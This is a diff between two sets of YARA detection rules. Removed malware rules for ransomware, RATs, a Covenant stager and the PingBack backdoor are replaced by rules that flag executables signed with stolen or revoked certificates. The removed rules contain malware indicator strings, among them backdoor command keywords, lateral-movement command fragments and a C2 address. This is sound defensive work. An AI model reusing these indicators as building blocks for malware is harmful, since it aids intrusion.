+		thumbprint = "928246cd6a0ee66095a43ae06a696b4c63c6ac24"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or (2 of ($cnc*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ghisler Software GmbH" and pe.signatures[i].serial=="65:ef:a9:2a:41:64:a3:a2:d8:88:b5:cf:8f:f0:73:c8")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dllhijacker02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ad0A958Cdf188Bed43154A54Bf23Afba : FILE
 {
 	meta:
-		description = "Detects ServiceCrt / DllHijacker03 IronTiger / LuckyMouse / APT27 malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "de5eee06-570a-5ec3-9e1b-13de4c4f260f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0b42f6fd-732c-5802-b616-774a1da9e3aa"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5512-L5527"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6307-L6321"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d4eb236256c413d4d3223cc897783f5631c7798c0f3280e72d8c8504438fcaf9"
+		logic_hash = "6031cb276cbb419789a3f3e57654dd9569feb612b0aebc2b72ae8b644f07bca9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ServiceCrtMain" fullword ascii
-		$s2 = "mpsvc.dll" fullword ascii
-		$o1 = { 84 db 0f 85 4c ff ff ff e8 14 06 00 00 8b f0 83 }
-		$o2 = { f7 c1 00 ff ff ff 75 c5 eb 13 0f ba 25 10 20 01 }
-		$o3 = { 8d 04 b1 8b d9 89 45 fc 8d 34 b9 a1 18 20 01 10 }
-		$o4 = { b0 01 c3 68 b8 2c 01 10 e8 83 ff ff ff c7 04 24 }
-		$o5 = { eb 34 66 0f 12 0d 00 fe 00 10 f2 0f 59 c1 ba cc }
-		$o6 = { 73 c7 dc 0d 4c ff 00 10 eb bf dd 05 34 ff 00 10 }
+		thumbprint = "7d851e785ad44eb15d5cdf9c33e10fe8f49616e8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and 5 of ($o*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RHM Ltd" and (pe.signatures[i].serial=="ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" or pe.signatures[i].serial=="00:ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Zeoticus : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_05Abac07F8D0Ce567F7D75Ee047Efee2 : FILE
 {
 	meta:
-		description = "Detects Zeoticus ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6d1096dd-d075-54eb-ade9-48e2f945145d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "17355de3-08a9-585d-bc4f-fd16ff59e2a2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5529-L5549"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6323-L6334"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "588c140c141e82dae56758550549dfb96410db50521ac546477e1adc5575b4a0"
+		logic_hash = "0196ebd0b5821863c99676907a972e214f46411650fe20557e9f919609d12659"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Dear %s" fullword wide
-		$s2 = "\\??\\UNC\\%s\\%s\\" wide
-		$s3 = "\\\\%ws\\admin$\\%ws" wide
-		$s4 = "%s /node:\"%ws\" /user:\"%ws\" /password:" wide
-		$s5 = "process call create" wide
-		$s6 = ">----===Zeoticus" ascii
-		$s7 = "ZEOTICUSV2" ascii
-		$s8 = "GetExtendedTcpTable" fullword ascii
-		$s9 = "SHAMROckSWTF" ascii
-		$s10 = "NTDLL.RtlAllocateHeap" fullword ascii
-		$s11 = ".pandora" fullword wide
-		$s12 = { 70 00 20 00 72 00 20 00 69 00 20 00 76 00 20 00 65 00 20 00 74 }
-		$pdb = "_cryptor\\shell_gen\\Release\\" ascii
+		thumbprint = "68b32eac87652af4172e40e3764477437e5a5ce9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or ($pdb))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ultrareach Internet Corp." and pe.signatures[i].serial=="05:ab:ac:07:f8:d0:ce:56:7f:7d:75:ee:04:7e:fe:e2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent11 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_62165B335C13A1A847Ce9Acff2B29368 : FILE
 {
 	meta:
-		description = "Detects downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c8bf9b1a-4ec1-5291-a334-82c79980ef53"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "62cd9a29-023d-5ff4-89cf-a2e74ec66ac4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5551-L5564"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6336-L6347"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "61df4855766050237c0b67bf70684020beb5d88f5928fa2814077e505be938a6"
+		logic_hash = "19e189c49f435f8b2aca0944d0f648a4126f83b7498982a262230e2f69ada8b7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb = "\\loader2\\obj\\Debug\\loader2.pdb" ascii
-		$s1 = "DownloadFile" fullword ascii
-		$s2 = "ZipFile" fullword ascii
-		$s3 = "WebClient" fullword ascii
-		$s4 = "ExtractToDirectory" fullword ascii
-		$s5 = "System Clear" fullword ascii
+		thumbprint = "c4cfd244d5148c5b03cac093d49af723252b643c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (($pdb) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "t55555Prh" and pe.signatures[i].serial=="62:16:5b:33:5c:13:a1:a8:47:ce:9a:cf:f2:b2:93:68")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Softcnapp : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4Cdffb4F02C55Ae60A099652605Da274 : FILE
 {
 	meta:
-		description = "Detects SoftCNApp"
+		description = "Enigma Protector Demo Certificate"
 		author = "ditekSHen"
-		id = "473442e2-d411-5e2b-948e-c7ce034a5810"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "843929be-68e5-56b0-99fc-f5d71b91c3cf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5566-L5583"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6366-L6377"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2d7f4320282218842fa2e82906bcaf691610ad1a6ea257a2a9fc9e062229a2e8"
+		logic_hash = "1b655f42302bed2091aaa5d37156c68eaf812f0c287bf42b24942a8b845b7476"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\.\\PIPE\\SOC%d" fullword ascii
-		$s2 = "Mozilla/5.0 (Windows NT 6.1)" fullword ascii
-		$s3 = "Param: sl=%d; sl=%d; sl=%d; sl=%d; sl=%d;" fullword ascii
-		$s4 = ".?AVCHPPlugin@@" fullword ascii
-		$s5 = ".?AVCHPCmd@@" fullword ascii
-		$s6 = ".?AVCHPExplorer@@" fullword ascii
-		$s7 = "%s\\svchost.exe -O" fullword wide
-		$s8 = "\"%s\\%s\" -P" fullword ascii
-		$n1 = "45.63.58.34" fullword ascii
-		$n2 = "127.0.0.1" fullword ascii
+		thumbprint = "4a2d33148aadf947775a15f50535842633cc3442"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($n*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DEMO" and pe.signatures[i].serial=="4c:df:fb:4f:02:c5:5a:e6:0a:09:96:52:60:5d:a2:74")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Covenantgruntstager : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_25Ad5Ae68C38Ad1021086F4Ffc8Ba470 : FILE
 {
 	meta:
-		description = "Detects Covenant Grunt Stager"
+		description = "Enigma Protector CA Certificate"
 		author = "ditekSHen"
-		id = "61495541-ed9c-5227-aa50-cbaeacfb20a2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6f1c6d3a-72a1-5c70-9c7d-1616b13767cd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5585-L5606"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6379-L6390"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "638f63f605b21154f062b0f4d0659cd6cd87aee319debb2c1a991a679fec087a"
+		logic_hash = "80b67b804e47fba825fabfee39f9a0aae78a4465b088c28b6f6972acd614bb89"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "VXNlci1BZ2VudA" ascii wide
-		$x2 = "cGFnZT17R1VJRH0mdj0x" ascii wide
-		$x3 = "0eXBlPXtHVUlEfSZ2PTE" ascii wide
-		$x4 = "tZXNzYWdlPXtHVUlEfSZ2PTE" ascii wide
-		$x5 = "L2VuLXVzL" ascii wide
-		$x6 = "L2VuLXVzL2luZGV4Lmh0bWw" ascii wide
-		$x7 = "L2VuLXVzL2RvY3MuaHRtbD" ascii wide
-		$s1 = "ExecuteStager" ascii
-		$s2 = "UseCertPinning" fullword ascii
-		$s3 = "FromBase64String" fullword ascii
-		$s4 = "ToBase64String" fullword ascii
-		$s5 = "DownloadString" fullword ascii
-		$s6 = "UploadString" fullword ascii
-		$s7 = "GetWebRequest" fullword ascii
+		thumbprint = "a04c0281bc2203a95ef9bd6d9736486449d80905"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or all of ($s*) or (1 of ($x*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Enigma Protector CA" and pe.signatures[i].serial=="25:ad:5a:e6:8c:38:ad:10:21:08:6f:4f:fc:8b:a4:70")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fabookie : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_277Cd16De5D61B9398B645Afe41C09C7 : FILE
 {
 	meta:
-		description = "Detects Fabookie / ElysiumStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dfa653c4-37d9-5e31-9c47-23adf751e4aa"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d5ada3bf-322a-5794-aff7-75ff8dd9a7d1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5608-L5624"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6392-L6403"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bbe10323817d501a361a33abf61a49ad59fcac69d78d9d9ec1744ee99a4b4629"
+		logic_hash = "dccfd52a3bcc11897d05f5450600dbd2f1f699732341cebed6dda37a76fd5f2d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "rwinssyslog" fullword wide
-		$s2 = "_kasssperskdy" fullword wide
-		$s3 = "[Title:%s]" fullword wide
-		$s4 = "[Execute]" fullword wide
-		$s5 = "[Snapshot]" fullword wide
-		$s6 = "Mozilla/4.0 (compatible)" fullword wide
-		$s7 = "d-k netsvcs" fullword wide
-		$s8 = "facebook.websmails.com" fullword wide
-		$s9 = "CUdpClient::Start" fullword ascii
+		thumbprint = "11a18b9ba48e2b715202def00c2005a394786b23"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x0805) and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE SIGN COMPANY LIMITED" and pe.signatures[i].serial=="27:7c:d1:6d:e5:d6:1b:93:98:b6:45:af:e4:1c:09:c7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cobianrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_066276Af2F2C7E246D3B1Cab1B4Aa42E : FILE
 {
 	meta:
-		description = "Detects CobianRAT, a fork of Njrat"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5a9b6f04-fc52-52a9-b72f-d24dd093e886"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "32b8e28b-361f-53e5-b06c-504dd9e86ae9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5626-L5640"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6405-L6416"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c8f55e5328b61c3591c876797b4521f8e98af7a6c53bab918f10d5c3c2b5013"
+		logic_hash = "2a554105ae99de388621adefb2f53d2d0873ac3175ca2ccf00fc6a498ea2fd29"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "1.0.40.7" fullword wide
-		$s2 = "DownloadData" fullword wide
-		$s3 = "Executed As" fullword wide
-		$s4 = "\\Plugins" fullword wide
-		$s5 = "LOGIN" fullword wide
-		$s6 = "software\\microsoft\\windows\\currentversion\\run" wide
-		$s7 = "Hidden" fullword wide
+		thumbprint = "dee5ca4be94a8737c85bbee27bd9d81b235fb700"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IQ Trade ApS" and pe.signatures[i].serial=="06:62:76:af:2f:2c:7e:24:6d:3b:1c:ab:1b:4a:a4:2e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Leivion : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_289051A83F350A2C600187C99B6C0A73 : FILE
 {
 	meta:
-		description = "Detects Leivion"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "77800add-8fff-5657-9ed6-a23517bce0b1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f84a7749-a487-52e5-813b-e376ccde13d1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5660-L5673"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6418-L6429"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a0cda23df4301b66feedad7c04b4d051c07474ccaa07c05598dd0b47bb6fc7e6"
+		logic_hash = "f094e923dc53cc1edc6ac83cf69fb60fd3c564606a5bfb68facb482918399799"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/var/lib/veil/go/src/runtime/mem_windows.go" fullword ascii
-		$s2 = "/var/lib/veil/go/src/internal/singleflight/singleflight.go" fullword ascii
-		$s3 = "/var/lib/veil/go/src/net/http/sniff.go" fullword ascii
-		$s4 = "/var/lib/veil/go/src/net/sendfile_windows.go" fullword ascii
-		$s5 = "/var/lib/veil/go/src/os/exec_" ascii
-		$s6 = "/var/lib/veil/go/src/runtime/mgcsweep.go" fullword ascii
+		thumbprint = "4e075adea8c1bcb9d10904203ab81965f4912ff0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HALL HAULAGE LTD LTD" and pe.signatures[i].serial=="28:90:51:a8:3f:35:0a:2c:60:01:87:c9:9b:6c:0a:73")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Banload : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_25A28E418Ef2D55B87Ee715B42Afbedb : FILE
 {
 	meta:
-		description = "Detects Banload"
+		description = "VMProtect Software CA Certificate"
 		author = "ditekSHen"
-		id = "4672bce1-1280-576d-b7df-f0181a854058"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "dc0b80f1-c720-5d83-a92b-144b1fd05138"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5675-L5688"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6431-L6442"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5cbc69d11b73f60d6eee3f23ed6cc217ba37a3408cb69e396e0394b5a1e20b75"
+		logic_hash = "be40d3b202b400eda7e78280b674823f789e292a35f0892ab3a323d1b055e789"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.die" fullword ascii
-		$s2 = "main.postResults" fullword ascii
-		$s3 = "main.checkin" fullword ascii
-		$s4 = "RegQueryValueExWRemoveDirectoryWSETTINGS_TIMEOUTTerminateProcessUpgrade RequiredUser-Agent: %s" ascii
-		$s5 = "pcuser-agentws2_32.dll (targetpc= DigestType ErrCode=%v" ascii
-		$s6 = "invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrie" fullword ascii
+		thumbprint = "14e375bd4a40ddd3310e05328dda16e84bac6d34"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Enigma Protector CA" and pe.signatures[i].serial=="25:a2:8e:41:8e:f2:d5:5b:87:ee:71:5b:42:af:be:db")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_TYRAT : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Vmprotect_Client : FILE
 {
 	meta:
-		description = "Detects TYRAT"
+		description = "VMProtect Client Certificate"
 		author = "ditekSHen"
-		id = "316c50cc-964e-5d24-b169-7a09fdf61638"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f9fd6478-0fe5-54b6-ba33-79c02eb9ad04"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5690-L5703"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6444-L6455"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b733b7aa3ba1195807fb728453c0f3f4df2177836054af6f7a863e14058884cb"
+		logic_hash = "d55d9fe608d5ff357a3bcf700a3d8bd9556f83c7c792b50d2276228a77209346"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\$MSIRecycle.Bin\\" fullword ascii
-		$s2 = "Range: bytes=%d-" fullword ascii
-		$s3 = "GET%sHTTP/1.1" fullword ascii
-		$s4 = "DllServer.dll" fullword ascii
-		$s5 = ".Bin\\bnch" ascii
-		$s6 = "User-Agent: wget" fullword ascii
+		thumbprint1 = "2e20b7079e5d83e7987b2605db160d1561a0c07a"
+		hash1 = "284dc48fc2a66a1071117e5f7b2ad68fba4aae69f31cf68b6b950e6205b52dc0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VMProtect Client ")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Infinitylock : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_44Fe73F320Aa8B7B4F5Ca910Aa22333A : FILE
 {
 	meta:
-		description = "Detects InfinityLock ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7a66cc19-c635-580b-abc2-b58bd48673bd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "fb7a2f49-d5b4-59af-b64b-27624ff18323"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5705-L5723"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6457-L6468"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "634759f1c2d48becebc9c87e146e898524071738f74b7001b112dc793bcb581c"
+		logic_hash = "a456cd32eed6c1f037bc565e7a43f2a5a2237749afc31f6b7a8b8d7a657973c6"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "_Encrypted$" fullword ascii
-		$s2 = "PublicKeyToken=" fullword ascii nocase
-		$s3 = "GenerateHWID" fullword ascii
-		$s4 = "CreateKey" fullword ascii
-		$d1 = "ProgrammFiles" fullword ascii
-		$d2 = "OneDrive" fullword ascii
-		$d3 = "ProgrammsX86" fullword ascii
-		$d4 = "UserDirs" fullword ascii
-		$d5 = "B_Drive" fullword ascii
-		$pdb1 = "F:\\DESKTOP!\\ChkDsk\\ChkDsk\\obj\\" ascii
-		$pdb2 = "\\ChkDsk\\obj\\Debug\\PremiereCrack.pdb" ascii
+		thumbprint = "e952eb51416ab15c0a38b64a32348ed40b675043"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($d*)) or (4 of ($d*) and 2 of ($s*)) or ( any of ($pdb*) and 1 of ($s*) and 1 of ($d*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Alpeks LLC" and pe.signatures[i].serial=="44:fe:73:f3:20:aa:8b:7b:4f:5c:a9:10:aa:22:33:3a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Mountlocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Df45B36C9D0Bd248C3F9494E7Ca822 : FILE
 {
 	meta:
-		description = "Detects MountLocker ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0590d08d-1ee8-5dfe-af12-15b149acd2d6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "95100ec5-01bf-5a5a-a703-b10d320beed1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5725-L5740"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6470-L6481"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "30bc601fef60cc1c9d8bff5dd3f8a53214f088b74eb24fe2369f5664613e0eaf"
+		logic_hash = "40f4ad4183ca0bc76295c535a9286994ef0e3f8ac932372328016d543bb58ab5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "] locker.dir.check > " ascii wide
-		$s2 = "] locekr.kill." ascii wide
-		$s3 = "] locker.worm" ascii wide
-		$s4 = "%CLIENT_ID%" fullword ascii
-		$s5 = "RecoveryManual.html" ascii wide
-		$s6 = "RECOVERY MANUAL" ascii
-		$s7 = ".ReadManual.%0.8X" ascii wide
-		$s8 = "/?cid=%CLIENT_ID%" ascii
+		thumbprint = "4b1efa2410d9aab12af6c0b624a3738dd06d3353"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MPO STORITVE d.o.o." and pe.signatures[i].serial=="df:45:b3:6c:9d:0b:d2:48:c3:f9:49:4e:7c:a8:22")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pingback : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Adbb8Aebf8B53C6713Abaca38Be9Bf0A : FILE
 {
 	meta:
-		description = "Detects PingBack ICMP backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ecb313b6-f923-5b6d-a4d7-a4650817ed84"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b3edea3e-8844-58a5-a600-b0695869b2c3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5742-L5761"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6483-L6497"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c5fa9ecefca1188ba5e81c0518f74023884ad0f66718fc030601cb458bdf2f12"
+		logic_hash = "d5e85240df57bf3b5ec4f690943f71609aaf2fb2f751b2919b6024b4247cd571"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Sniffer ok!" fullword ascii
-		$s2 = "recv icmp packet!" fullword ascii
-		$s3 = "WSASocket() failed: %d" fullword ascii
-		$s4 = "file on remote computers success" ascii
-		$s5 = "listen port error!" fullword ascii
-		$s6 = "\\PingBackService" ascii
-		$c1 = "exec" fullword ascii
-		$c2 = "rexec" fullword ascii
-		$c3 = "exep" fullword ascii
-		$c4 = "download" fullword ascii
-		$c5 = "upload" fullword ascii
-		$c6 = "shell" fullword ascii
+		thumbprint = "9f9b9f5a85d3005e4c613b6c2ba20b6d5d388645"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or all of ($c*) or (4 of ($c*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Konstant LLC" and (pe.signatures[i].serial=="ad:bb:8a:eb:f8:b5:3c:67:13:ab:ac:a3:8b:e9:bf:0a" or pe.signatures[i].serial=="00:ad:bb:8a:eb:f8:b5:3c:67:13:ab:ac:a3:8b:e9:bf:0a"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bazarloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Ffc9825644Caf5B1F521780C5C7F42C : FILE
 {
 	meta:
-		description = "Detects BazarLoader variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
